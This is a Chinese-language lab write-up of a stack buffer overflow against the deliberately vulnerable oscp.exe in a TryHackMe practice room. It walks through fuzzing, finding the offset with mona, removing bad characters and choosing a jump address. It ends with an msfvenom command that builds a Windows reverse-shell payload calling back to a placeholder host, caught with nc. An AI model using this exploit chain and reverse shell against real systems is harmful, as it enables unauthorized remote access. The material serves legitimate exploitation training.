駭客靶場練習:緩衝區溢位2

0x00:線上漏洞環境介紹+前期準備

這次還是用Try hack me的環境。房間號連結是 https://tryhackme。com/room/bufferoverflowprep。建議先連線他們的內網再連線靶機,線上網頁版kali的穩定性真隨緣,這次是第二關OVERFLOW2。

駭客靶場練習:緩衝區溢位2

啟動完靶機之後可以用kali自帶的xfreerdp遠端桌面連線一波。

駭客靶場練習:緩衝區溢位2

連線成功以後以管理員身份執行Immunity Debugger,然後開啟桌面的vulnerable-apps資料夾,再開啟oscp資料夾,最後裡面有個oscp。exe,雙擊點開,按住左上的紅色按鈕啟動。

駭客靶場練習:緩衝區溢位2

這裡可以使用nc驗證一下,連到靶機1337埠以後出現Welcome xxxx代表執行成功。

駭客靶場練習:緩衝區溢位2

當然還得在Immunity Debugger裡面設定聯動波mona,後面會用的到。

駭客靶場練習:緩衝區溢位2

0x01:模糊測試

這裡的python指令碼都是來自該房間的OVERFLOW1,或者是這位大佬的github 指令碼 https://github。com/hum4nG0D/OSCP_Bufferovrflw_Prep 。這裡的模糊測試指令碼是來自房間所提供的,複製下來以後需要更改ip地址,和prefix 指定OVERFLOW2就可以了。

駭客靶場練習:緩衝區溢位2

Python執行,程式承受資料的極限大概在700左右。

駭客靶場練習:緩衝區溢位2

0x02:精準定位

模糊測試只能測出一個大概,接下來我們需要精準測試出具體是在哪裡溢位的。我們首先需要使用/usr/share/Metasploit-framework/tools/pattern_create -l 創造出一些字串,這裡我創了700個出來。

駭客靶場練習:緩衝區溢位2

把剛生成好的字串貼到python腳本里面的buffer變數裡(這個指令碼是來自github上的),稍微修改下IP。

駭客靶場練習:緩衝區溢位2

重新執行一波python 02-offset。py。此時在Immunity Debuuger裡面,程式是停止了,在底下輸入框中輸入!mona findmsp -distance 700, 可以看到有個EIP contains normal pattern xxxx offset 634,而634就是代表著程式溢位點。

駭客靶場練習:緩衝區溢位2

如果不太確定的話可以用下網頁版所提供的指令碼,修改下IP,和關卡名,然後再offset填入剛才得到的634,再retn這個變數裡,填入BBBB或者是其它字元(前提是你記得它轉換成其它進位制的編碼)

駭客靶場練習:緩衝區溢位2

重新執行該指令碼,此時EIP變成42424242是BBBB十六進位制轉換後的樣子。

駭客靶場練習:緩衝區溢位2

0x03:尋找壞字串

由於我們後面生成反彈shell是透過shellcode進行編碼的,但是程式可能會對某些編碼表示不認可,這就是壞字串,我們得把它們找出來。這裡得注意一波,每個程式對壞字串會有不同的定義,比如這個程式可能會覺得\x00 \x01\x02是壞字串,另外一個程式可能會覺得\xff是壞字串。壞字串基本上是沒有固定的,除了\x00。

這裡得先用mona通知一波\x00是壞字串

駭客靶場練習:緩衝區溢位2

這裡的思路是先透過網頁的py指令碼生成\x01到\xff字串,然後慢慢除錯找出壞字串除了。

駭客靶場練習:緩衝區溢位2

把生成好的一堆字串複製到github腳本里面的bad變數裡面,稍微修改下IP和關卡名。就可運行了。

駭客靶場練習:緩衝區溢位2

執行完py指令碼以後此時的Immunity Debugger應該是停止狀態。在底層輸入框輸入!mona compare -f C:\mona\oscp\bytearray。bin -a ESP地址 會彈出一個比較結果並列出有可能的壞字元串出來。

駭客靶場練習:緩衝區溢位2

這裡建議兩個兩個進行比較,比如說23 和24,在剛才的指令碼中把23給刪了,此時24消失了。

駭客靶場練習:緩衝區溢位2

而把24給刪了,23,24兩個都還在,內鬼是23它連累到後面的24字串上壞字串榜了。

駭客靶場練習:緩衝區溢位2

用這種方法慢慢推,最後用紙記錄了一波。最後的壞字串就是23 3c 83 和ba

駭客靶場練習:緩衝區溢位2

找完以後用!mona bytearray -b “\x00\x23\x3c\x83\xba”通知一波。

駭客靶場練習:緩衝區溢位2

把那些壞字串給刪掉。重新執行一波。

駭客靶場練習:緩衝區溢位2

此時再比較一波已經變成unmodifed了,意思是沒壞字串了。

駭客靶場練習:緩衝區溢位2

接下來,就是查詢波跳躍點,用!mona命令以後可以找出很多跳躍點,這裡我選擇最頭頂的這個。

駭客靶場練習:緩衝區溢位2

然後把它寫入到retn變數裡面反著來寫,並且按照\x xx這種格式。

駭客靶場練習:緩衝區溢位2

0x04:生成最終payload

最重要的就是生成反彈shell了可以用這條命令

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b “\x00\x23\x3c\x83\xba” -f c

駭客靶場練習:緩衝區溢位2

把剛才生成好的一堆shellcode複製到payload變數裡面,這裡在提一下我們的shellcode是需要一定空間解壓的所以在padding 這個變數裡面我們指定16個\x90

駭客靶場練習:緩衝區溢位2

最後提前開啟nc,重新執行最終payload,成功得到一個反彈shell

駭客靶場練習:緩衝區溢位2